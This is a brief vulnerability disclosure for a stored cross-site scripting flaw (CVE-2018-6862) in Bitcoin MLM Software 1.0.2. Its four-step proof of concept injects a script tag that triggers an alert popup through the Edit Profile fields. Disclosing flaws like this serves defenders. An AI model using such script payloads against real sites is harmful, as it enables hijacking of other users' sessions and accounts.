Bitcoin MLM Software 1.0.2 Cross Site Scripting

`########################################################################  
# Exploit Title: Bitcoin MLM Software 1.0.2 - Stored XSS  
# Date: 07.02.2018  
# Vendor Homepage: https://www.phpscriptsmall.com/  
# Software Link: https://www.phpscriptsmall.com/product/bitcoin-mlm/  
# Category: Web Application  
# Exploit Author: Prasenjit Kanti Paul  
# Web: http://hack2rule.wordpress.com/  
# Version: 1.0.2  
# Tested on: Linux Mint  
# CVE: CVE-2018-6862  
##########################################################################  
  
*Proof of Concept*  
  
1. Login into the site  
2. Goto "Edit Profile"  
3. Put "<script>alert("PKP")</script>" in any field  
4. You will be having a popup "PKP"  
  
`